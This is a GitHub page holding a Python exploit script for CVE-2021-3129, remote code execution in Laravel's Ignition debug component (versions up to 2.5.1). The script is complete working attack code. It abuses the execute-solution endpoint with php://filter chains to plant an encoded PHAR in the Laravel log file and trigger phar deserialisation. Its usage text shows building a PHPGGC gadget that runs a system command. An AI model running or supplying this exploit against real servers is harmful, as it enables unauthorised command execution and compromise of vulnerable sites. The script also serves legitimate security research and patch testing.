-
Notifications
You must be signed in to change notification settings - Fork 65
/
Copy pathlaravel-ignition-rce.py
executable file
·144 lines (122 loc) · 4.57 KB
/
laravel-ignition-rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#!/usr/bin/env python3.7
# Laravel debug mode Remote Code Execution (Ignition <= 2.5.1)
# CVE-2021-3129
# Reference: https://www.ambionics.io/blog/laravel-debug-rce
# Author: cfreal
# Date: 2021-01-13
#
import base64
import re
import sys
from dataclasses import dataclass
import requests
@dataclass
class Exploit:
session: requests.Session
url: str
payload: bytes
log_path: str
def main(self):
if not self.log_path:
self.log_path = self.get_log_path()
try:
self.clear_logs()
self.put_payload()
self.convert_to_phar()
self.run_phar()
finally:
self.clear_logs()
def success(self, message, *args):
print('+ ' + message.format(*args))
def failure(self, message, *args):
print('- ' + message.format(*args))
exit()
def get_log_path(self):
r = self.run_wrapper('DOESNOTEXIST')
match = re.search(r'"file":"(\\/[^"]+?)\\/vendor\\/[^"]+?"', r.text)
if not match:
self.failure('Unable to find full path')
path = match.group(1).replace('\\/', '/')
path = f'{path}/storage/logs/laravel.log'
r = self.run_wrapper(path)
if r.status_code != 200:
self.failure('Log file does not exist: {}', path)
self.success('Log file: {}', path)
return path
def clear_logs(self):
wrapper = f'php://filter/read=consumed/resource={self.log_path}'
self.run_wrapper(wrapper)
self.success('Logs cleared')
return True
def get_write_filter(self):
filters = '|'.join((
'convert.quoted-printable-decode',
'convert.iconv.utf-16le.utf-8',
'convert.base64-decode'
))
return f'php://filter/write={filters}/resource={self.log_path}'
def run_wrapper(self, wrapper):
solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"
return self.session.post(
self.url + '/_ignition/execute-solution/',
json={
"solution": solution,
"parameters": {
"viewFile": wrapper,
"variableName": "doesnotexist"
}
}
)
def put_payload(self):
payload = self.generate_payload()
# This garanties the total log size is even
self.run_wrapper(payload)
self.run_wrapper('AA')
def generate_payload(self):
payload = self.payload
payload = base64.b64encode(payload).decode().rstrip('=')
payload = ''.join(c + '=00' for c in payload)
# The payload gets displayed twice: use an additional '=00' so that
# the second one does not have the same word alignment
return 'A' * 100 + payload + '=00'
def convert_to_phar(self):
wrapper = self.get_write_filter()
r = self.run_wrapper(wrapper)
if r.status_code == 200:
self.success('Successfully converted to PHAR !')
else:
self.failure('Convertion to PHAR failed (try again ?)')
def run_phar(self):
wrapper = f'phar://{self.log_path}/test.txt'
r = self.run_wrapper(wrapper)
if r.status_code != 500:
self.failure('Deserialisation failed ?!!')
self.success('Phar deserialized')
# We might be able to read the output of system, but if we can't, it's ok
match = re.search('^(.*?)\n<!doctype html>\n<html class="', r.text, flags=re.S)
if match:
print('--------------------------')
print(match.group(1))
print('--------------------------')
elif 'phar error: write operations' in r.text:
print('Exploit succeeded')
else:
print('Done')
def main(url, payload, log_path=None):
payload = open(payload, 'rb').read()
session = requests.Session()
#session.proxies = {'http': 'localhost:8080'}
exploit = Exploit(session, url.rstrip('/'), payload, log_path)
exploit.main()
if len(sys.argv) <= 1:
print(
f'Usage: {sys.argv[0]} <url> </path/to/exploit.phar> [log_file_path]\n'
'\n'
'Generate your PHAR using PHPGGC, and add the --fast-destruct flag if '
'you want to see your command\'s result. The Monolog/RCE1 GC works fine.\n\n'
'Example:\n'
' $ php -d\'phar.readonly=0\' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id\n'
' $ ./laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar\n'
)
exit()
main(sys.argv[1], sys.argv[2], (len(sys.argv) > 3 and sys.argv[3] or None))